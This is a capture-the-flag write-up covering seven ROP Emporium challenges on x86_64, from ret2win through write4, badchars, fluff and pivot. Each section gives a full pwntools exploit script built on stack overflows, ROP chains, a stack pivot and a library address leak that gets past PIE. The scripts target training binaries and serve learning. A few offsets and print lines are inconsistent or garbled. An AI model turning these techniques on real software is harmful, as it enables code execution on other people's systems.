

NOTE: Evidence of completion is provided through running the exploits I wrote, not screenshots

Ret2Win

Looking at the ret2win binary in a static analysis, we can see that the program leaves you an unbounded write into a 32 byte buffer and contains a 'win' function called ret2win that isn't called – the goal is to overwrite the return address to jump to ret2win.

To overwrite the return address, we need to fill those 32 bytes, then the 8 bytes from storing the base pointer on the stack, totalling to a payload of 48 bytes total. All we need now is the address of the ret2win function, which we can get from any static analysis tool of your liking, since ASLR is disabled. After that you can craft the payload of 40!

However, if you the payload of 40 bytes of trash + address of re2win, you may notice that you get into the ret2win function, but don't get a flag. This is as explained in <https://ropemporium.com/guide.html> under the MOVAPS issue, but I will summarise here: x86_64 glibc needs the stack to be 16 byte aligned, and to achieve this, the guide recommends we add an extra ret to our ROP chain. Picking literally pick any ret instruction address and put it in the payload such that the payload looks like this, solves this issue:

[32 trash bytes] [8 bytes of the extra ret gadget address] [8 bytes for ret2win address].

I chose the ret instruction at 0x00400770.

```
#!/bin/env python3
from pwn import *
print(f"\033[95m\033[1m*\033[0m] \033[95m\033[1mSTARTING EXPLOIT\033[0m")

context.log_level = 'info'
elf = context.binary = ELF('./ret2win')
p = elf.process()

ret2win = 0x00400756
random_ret = 0x00400770

payload = flat(
    b"A" * 40,
    random_ret,
    ret2win
)

p.recvuntil(b"> ")
p.sendline(payload)
flag = [w for w in p.recvall().split() if w.startswith(b"ROPE{")][0].decode()
print(f"\033[92m*\033[0m] flag: \033[105m\033[97m{flag}\033[0m")
```

Split

For this challenge, it is told to us that the libc function `system()` is present in the binary, as well as the string “bin/cat flag.txt”. The idea is to load the address of the string into the register for `arg1`, then call `system()`.

To do this, we need to first find the address of the string, which we can do by using `rabin`.

```
[0x00601060]> rabin2 -z ./split
```

	nth	paddr	vaddr	len	size	section	type	string
0	0x000007e8	0x004007e8	21	22	.rodata	ascii	split by ROP Emporium	
1	0x000007fe	0x004007fe	7	8	.rodata	ascii	x86_64\n	
2	0x00000806	0x00400806	8	9	.rodata	ascii	\nExiting	
3	0x00000810	0x00400810	43	44	.rodata	ascii	Contriving a reason to ask user for data...	
4	0x0000083f	0x0040083f	10	11	.rodata	ascii	Thank you!	
5	0x0000084a	0x0040084a	7	8	.rodata	ascii	/bin/ls	
6	0x00001060	0x00601060	17	18	.data	ascii	/bin/cat flag.txt	

This shows that the string address is at **0x00601060** (look under `vaddr`, not `paddr` since we reference `vaddr` during execution).

Then we just need a gadget to help put this address in `arg 1 (%rdi)` `pop rdi ; ret`

```
ROPgadget --binary=./split | grep ret | grep rdi
0x0000000000400288 : loope 0x40025a ; sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e
0x00000000004007c3 : pop rdi ; ret
0x000000000040028a : sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e
```

Thus, our full payload is: stack smash bytes, `pop rdi`, address of cat string, `system` syscall.

```
#!/bin/env python3
from pwn import *;
print(f'[\033[95m\033[1m*\033[0m] \033[95m\033[1mSTARTING EXPLOIT\033[0m')

context.log_level = 'info'
elf = context.binary = ELF('./split')
p = elf.process()

bincat = p64(0x601060) # .string "/bin/cat flag.txt" ; len=18
bincat = p64(next(elf.search(b"/bin/cat flag.txt"))) # this is another way to get the addr, either works
system_syscall = p64(0x40074b) # call sym.imp.system; nop; pop rbp; ret
gadget = p64(0x4007c3) # pop rdi; ret
trash = p64(0x0) # without this, program just hangs

stack_smash = b"A" * 40
payload = stack_smash + gadget + bincat + system_syscall + trash

p.recvuntil(b"> ")
p.sendline(payload)
flag = [w for w in p.recvall().split() if w.startswith(b"ROPE{")][0].decode()
print(f'[\033[92m*\033[0m] flag: \033[105m\033[97m{flag}\033[0m')
```

Callme

The solution to this challenge is trivial, especially since the challenge description tells us the solution: call 3 functions in order with 3 particular args. The idea behind this is to teach us the relationships between registers and arguments.

In x64, the calling convention states that the first 6 arguments should be stored in %rdi, %rsi, %rdx, %rcx, %r8, and %r9 (%rdi being arg 1, %rsi, 2 ...) with subsequent arguments being put on the stack. This means that for our challenge, we need to find a way to populate registers %rdi, %rsi and %rdx. Luckily we have the following gadget: **0x0040093c pop rdi; pop rsi; pop rdx; ret.**

Now all we need to do is use that gadget to fill in the required arguments before calling the function. We have space to do all of this.

```
#!/bin/env python3
from pwn import *;
print(f"\033[95m\033[1m*\033[0m] \033[95m\033[1mSTARTING EXPLOIT\033[0m")

context.log_level = 'info'
elf = context.binary = ELF('./callme')
libelf = ELF('./libcallme.so')
p = elf.process()

# these are the required arguments in order
deadbeef = 0xdeadbeefdeadbeef # arg 1
cafebabe = 0xcafebabecafebabe # arg 2
d00df00d = 0xd00df00dd00df00d # arg 3

callme_one = 0x00400720
callme_two = 0x00400740
callme_three = 0x004006f0

pop_args = 0x0040093c # pop rdi; pop rsi; pop rdx; ret

stack_smash = b"A" * 40
load_req_args = flat(pop_args, deadbeef, cafebabe, d00df00d)

payload = flat(
    stack_smash,
    load_req_args, callme_one,
    load_req_args, callme_two,
    load_req_args, callme_three
)

p.recvuntil(b"> ")
p.sendline(payload)
flag = [w for w in p.recvall().split() if w.startswith(b"ROPE{")][0].decode()
print(f"\033[92m*\033[0m] flag: \033[105m\033[97m{flag}\033[0m")
```

Write4

General Analysis:

The challenge for this challenge is that we have to call `print_file()` with the address of the string “flag.txt” as an argument. However, the string doesn’t exist anywhere already, which means we have to write the string ourselves using ROP before calling it.

Finding Gadgets/Addresses:

To do so, we at least need a gadget to write a byte into memory, so let’s look for that first.

```
ROPgadget --binary=./write4 | grep mov | grep '[' | grep ret
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
```

We have 2 real options here to write into memory, being move dword and mov qword (dword is 4 bytes, qword is 8). Either option can be used to solve the challenge, but I chose `mov qword` as our string is 8 bytes long, simplifying the exploit. My chosen approach means that I also need gadgets to manipulate the contents of `r14` and `r15` – luckily there is a very good one: **0x00400690 : pop r14 ; pop r15 ; ret**

Next, we need an address of a safely writable section that can store our needed string. We can obtain this by running **`readelf -S ./write4`** and choosing any section that includes the write flag. I chose `0x601038`, which is in `..bss` section.

The last thing we need is a gadget to manipulate `arg 1` (`%rdi`). There is a `pop rdi; ret` gadget available.

Building Payload:

Now that we have all the pieces, we need to put them together in the right way. First we are going to load the string into `r15`, and put the writable address into `r14`, then write the string into that address. Then we load that same address into `%rdi` and then call `print_file()`

```
#!/bin/env python3
from pwn import *;
print(f'\033[95m\033[1m*\033[0m] \033[95m\033[1mSTARTING EXPLOIT\033[0m")

context.log_level = 'info'
elf = context.binary = ELF('./write4')
libelf = ELF('./libwrite4.so')
p = elf.process()

writable_address = 0x601038
pop_r14_r15 = 0x0000000000400690 # pop r14 ; pop r15 ; ret
data_into_address = 0x0000000000400628 # mov qword ptr [r14], r15 ; ret
load_arg1 = 0x0000000000400693 # pop rdi ; ret
string = int.from_bytes(b'flag.txt', 'little')
write_function = 0x00400510

payload = flat(
    b"A" * 40,
    pop_r14_r15,
    writable_address,
    string,
    data_into_address,
    load_arg1,
    writable_address,
    write_function
)

p.recvuntil(b"> ")
p.sendline(payload)
flag = [w for w in p.recvall().split() if w.startswith(b"ROPE{")][0].decode()
print(f'\033[92m*\033[0m] flag: \033[105m\033[97m{flag}\033[0m")
```

Badchars

General Analysis:

This challenge is the exact same as the previous challenge. However there are some characters, “badchars”, that we cannot use, being 'x', 'g', 'a' and '.'. This means that if we tried to use the same exploit as before, the string would be malformed and the print_file() function wouldn't work as intended.

Gameplan:

Luckily, when we look at the gadgets under the useful label, we see that we can xor any byte in memory using the gadget **0x00400628 xor byte [r15], r14b; ret**. The appearance of this gadget solves our badchar problem as we can store the badchar xor'd in memory, then use this gadget to xor it again, thereby making the char in memory our intended one despite the badchar limitation.

Thus our total gameplan is to load the string normally into a writable address, but with any badchars bitflipped, then use the xor gadget to flip them back - The process of which will be identical to the previous challenge + the bitflipping. The total payload and complete ROPchain is very large and I think it is better to explain the solution by looking at the exploit below.

```
#!/bin/env python3
from pwn import *;
print(f'\033[95m\033[1m*\033[0m] \033[95m\033[1mSTARTING EXPLOIT\033[0m")

context.log_level = 'info'
elf = context.binary = ELF('./badchars')
libelf = ELF('./libbadchars.so')
p = elf.process()

# gadgets
load_arg1 = 0x00000000004006a3 # pop rdi ; ret
write_qword = 0x0000000000400634 # mov qword ptr [r13], r12 ; ret
pop_12_to_15 = 0x000000000040069c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
xor_byte_gadget = 0x0000000000400628 # xor byte ptr [r15], r14b ; ret

# addresses
writable_address = 0x601038
print_file = 0x00400510
trash = 0xdeadbeefdeadbeef
mask = 0xffffffffffffff

# flag.txt str with bad chars bitflipped
string = int.from_bytes(b"".join([
    b"fl", # fl
    bytes([~ord("a") & 0xff]), # a
    bytes([~ord("g") & 0xff]), # g
    bytes([~ord(".") & 0xff]), # .
    b"t", # t
    bytes([~ord("x") & 0xff]), # x
    b"t" # t
]), "little")

# useful gadget chains
load_str = flat(
    pop_12_to_15,
    string,
    writable_address,
    trash,
    trash,
    write_qword
)

run_print_file = flat(
    load_arg1,
    writable_address,
    print_file
)

# xors the byte in an address
# used to reverse the bitflipped bad chars in the string
def xor_gadget_chain(address):
    return flat(
        pop_12_to_15,
        trash,
        trash,
```

```

        mask,
        address,
        xor_byte_gadget
    )

payload = flat(
    b"A" * 40,
    load_str,
    # bad chars are bit flipped in mem rn, so must flip them to be normal
    xor_gadget_chain(writable_address + 2),
    xor_gadget_chain(writable_address + 3),
    xor_gadget_chain(writable_address + 4),
    xor_gadget_chain(writable_address + 6),
    run_print_file
)

p.recvuntil(b"> ")
p.sendline(payload)
flag = [w for w in p.recvall().split() if w.startswith(b"ROPE{")][0].decode()
print(f"\033[92m*\033[0m] flag: \033[105m\033[97m{flag}\033[0m")

```

Fluff

General Beginning Remarks/Analysis :

Like the attached message in the site description, this challenge is indeed a pain. Mainly because you have to learn some weird assembler instructions, as well as many of small hurdles – making the exploit, take much longer to write despite knowing the idea behind the solution being easy.

Whilst the general idea of the challenge is the same as the previous two challenge (being to write a string into memory then call `print_file()` with that address as an argument), the real challenge is that we don't have any `mov [x] y; ret` gadgets. To achieve this, we have to be creative with the weird gadgets provided.

Weird Gadgets and Other Quicky Knowledge:

Since the main challenge is understanding the weird gadgets provided, here is a breakdown of them first.

1. **0x00400628: XLABT; ret == (AL = byte ptr [RBX + AL])**
Basically, use AL as an index to a table at RBX, then put whatever byte is stored in that entry back into AL
2. **0x0040062a : pop rdx; pop rcx; add rcx, 0x3ef2 (255218); ret**
Nothing strange here, just subtract whatever value you want to put into rcx with 0x3ef2.
3. **0x00400633 : BEXTR RBX, RCX, RDX**
Basically extract the bits from RCX using args built from RDX, then store in RBX. Better breakdown below
start = RDX & 0xff; // bits 0–7
length = (RDX >> 8) & 0xff; // bits 8–15
RBX = (RCX >> start) & mask(length);
4. **0x00400639: STOSB BYTE [RDI], AL**
Copies the data item from AL and writes a byte into the address at rdi.

With the above gadgets, we can copy data from any address, and place it into any address. In general the ordering would be 2 → 3 → 1 → 4. The only other gadget we need is a `pop rdi; ret` (which is available), which would go inbetween 1 and 4.

The last bit of necessary knowledge needed is how to find the addresses for characters we want to copy. We can do this through using ROPGadget. B4NG has a very nice script for this in their writeup at:
<https://b4nng.github.io/ropemporium-fluff/>.

Using all the above information, we now know that the solution is the same as `write4`, but we write by copying existing bytes from memory into the space we want. To achieve this we need to repetitively use the 2 → 3 → 1 → 4 chain discussed above, loading the address of the char we would like to copy into rcx, ensuring that we also account not only for the adding of 0x3ef2, but also whatever was in the register beforehand.

```
#!/bin/env python3
from pwn import *

print(f'[{0x33[95m033[1m*033[0m] 033[95m033[1mSTARTING EXPLOIT033[0m}']

context.log_level = 'info'
elf = context.binary = ELF('./fluff')
libelf = ELF('./libfluff.so')
p = elf.process()

# Basic addresses
print_file = 0x00400510
w_address = 0x00601028

# Gadgets
xlabt = 0x00400628 # xlabt; ret
pop_rdx_rcx_bextr = 0x0040062A # pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret
stosb = 0x00400639 # stosb byte [rdi], al; ret
pop_rdi = 0x004006A3 # pop rdi; ret

# Our string with the addresses of which those chars appear
chars = [
    ("f", 0x00000000004006a6),
    ("l", 0x0000000000400405),
    ("a", 0x00000000004005d2),
    ("g", 0x00000000004007a0),
```

```

(" ", 0x00000000004006a7),
("t", 0x00000000004006ce),
("x", 0x00000000004007bc),
("t", 0x00000000004006ce),
]

def load_chars():
    payload = b""
    index = 0
    previous_char = 0xb # set to value in eax before ROP chain, found using gdb

    for char, address in chars:
        rcx = (address - previous_char) - 0x3ef2
        payload += flat(
            pop_rdx_rcx_bextr,
            0xFF00, # RDX
            rcx,
            xlabt,
            pop_rdi,
            w_address + index,
            stosb
        )

        previous_char = ord(char)
        index += 1

    return payload

payload = flat(
    b"A" * 40,
    load_chars(),
    pop_rdi,
    w_address,
    print_file
)

p.recvuntil(b"> ")
p.sendline(payload)
flag = [w for w in p.recvall().split() if w.startswith(b"ROPE{")][0].decode()
print(f"\033[92m*\033[0m] flag: \033[105m\033[97m{flag}\033[0m")

```


Pivot

General analysis:

The idea for this challenge is to 'pivot' your stack space elsewhere, as the original space where you perform a stack smash is limited on space, restricting your ability to chain a useful amount of gadgets together. To achieve this, we need gadgets to control the stack pointer (%rsp)

The binary provided takes in user input on two separate occasions. The first reads 256 bytes into a separate random location, which gets 'leaked' by the binary's normal execution flow. The second read, reads 64 bytes, writing over the return address after 40 bytes – this read is where you perform the stack smash. Looking at the values, we can see that the second read allows us to use 24 bytes (3 gadgets), compared to the 256 bytes (32 gadgets), so whatever chain we need to call ret2win should ideally be stored in the 256 bytes, and we use the 24 bytes to pivot there.

Hurdles:

Whilst it is tempting to just jump straight to the ret2win function, note that the libpivot.so file has PIE enabled! This means that we cannot hardcode any jumps :(

So what do we do? We are going to take advantage of a weakness in PIE.

PIE randomises where a library is in memory as a whole, meaning it doesn't randomise the addresses of the functions within the library separately. This means that if we can leak the address of any function in the library during runtime, the offset from that function to any other function will be the same as in our static analysis.

Using a hint provided from the challenge description, we know that we need to call ret2win by first finding where foothold_function is in memory, then adding an offset to that. Let's calculate that offset below.

$\text{offset} = 0x00000a81 (\text{ret2win in lib}) - 0x0000096a (\text{foothold_function}) = 0x117$

The last general hurdle we have is that the actual address of foothold_function needs to be resolved first before we can leak it, since the library is dynamically linked. This means that our payload has to call the function first to resolve it before being able to obtain the actual address of the function.

Gameplan/Building Payload:

1) Our second payload should change stack location after performing a stack smash.

Luckily there are some useful gadgets under the label 'useful gadgets', one of which is **0x004009bd xchg rsp, rax; ret**, which swaps the values in rsp and rax. Another 'useful gadget' is **0x04009bb pop rax; ret**. This means that our 3 gadget payload after the 40 byte stack smash should be: pop rax; ret, address of 'leaked' new stack address, swap rsp and rax.

2) Our first payload needs to first call foothold_function, then obtain the resolved address somehow, then use that to jump to ret2win.

Looking under 'useful gadgets' again, we can see that we have **0x004009c4 add rax, rbp; ret** and **0x004009c4 mov rax, qword [rax]; ret**, suggesting that our approach should be to store the address of foothold_function() in rax, then add the offset to that using rbp, before using rax to jump to ret2win.

To perform this we would ideally need a jmp rax gadget and a pop rbp. Luckily we have exactly those gadgets, as found through:

```
ROPgadget --binary=./pivot | grep ': jmp rax' && ROPgadget --binary=./pivot | grep ': pop rbp ; ret'
0x00000000004007c1 : jmp rax
0x00000000004007c8 : pop rbp ; ret
```

Working backwards, this means our payload idea thus far is: load &foothold_function in rax, add offset 0x117 to rax through rbp, jmp rax. The only obstacle remaining is putting the address in rax in the first place. This is the foothold_function .plt entry back in ./pivot...

```
6: foothold_function ();
0x00400720      jmp     qword [reloc.foothold_function] ; 0x601040
0x00400726      push    5 ; 5
0x0040072b      jmp     section..plt ; section..plt(0x0, 0x0, 0x0, 0x0)
```

The value at 0x601040 (reloc.foothold_function) at the start of execution is 0x00400726 as seen below, which is the push 5 instruction. The idea here is that after the first function call, hence resolving the function because of dynamic linking, the value at 0x60140 will be the actual address of foothold_function().

```
-- reloc.foothold_function:
0x00601040      .qword 0x0000000000400726; RELOC 64 foothold_function
```

This means that our final payload would be: call foothold_function, pop rax, &reloc.foothold_function, load [rax] into rax, pop rbp, 0x177 (offset), add rbp to rax, jmp rax.

```
#!/bin/env python3
from pwn import *
print(f"\033[95m\033[1m*\033[0m] \033[95m\033[1mSTARTING EXPLOIT\033[0m")

context.log_level = 'info'
elf = context.binary = ELF('./pivot')
libelf = ELF('./libpivot.so')
p = elf.process()

foothold_function_plt = 0x00400720
foothold_function_got = 0x00601040 # dereference for address
ret2win_offset = 0x00000a81 - 0x0000096a # 0x117

xchg = 0x004009bd # xchg rsp, rax; ret <- this swaps the values in the registers
pop_rax = 0x00000000004009bb # pop rax ; ret
load_rax = 0x00000000004009c0 # mov rax, qword ptr [rax] ; ret
add_to_rax = 0x00000000004009c4 # add rax, rbp ; ret
pop_rbp = 0x00000000004007c8 # pop rbp ; ret
jmp_rax = 0x00000000004007c1 # jmp rax

# first get address of where to pivot to
pivot_location = [word for word in p.recvuntil(b"> ").split() if word.startswith(b"0x")][0].decode()
# print("[*] PLACED RSP AT " + pivot_location)
pivot_stack = int(pivot_location, 16)

second_payload = [ # first chain to execute, max: 3 gadgets
    # call foothold_function for first time to populate .got entry
    pop_rax,
    pivot_stack,
    xchg
]

first_payload = [ # second chain to execute, max: 64 gadgets
    foothold_function_plt,
    pop_rax,
    foothold_function_got, # true address now is loaded
    load_rax,
    pop_rbp,
    ret2win_offset,
    add_to_rax,
    jmp_rax
]

first_payload = b"".join([p64(address) for address in first_payload])
second_payload = b"A" * 40 + b"".join([p64(address) for address in second_payload])

# now you can launch the payload fully
p.sendline(first_payload)
o = p.recvuntil(b"> ")
p.sendline(second_payload)
flag = [w for w in p.recvall().split() if w.startswith(b"ROPE{")][0].decode()
print(f"\033[92m*\033[0m] flag: \033[105m\033[97m{flag}\033[0m")
```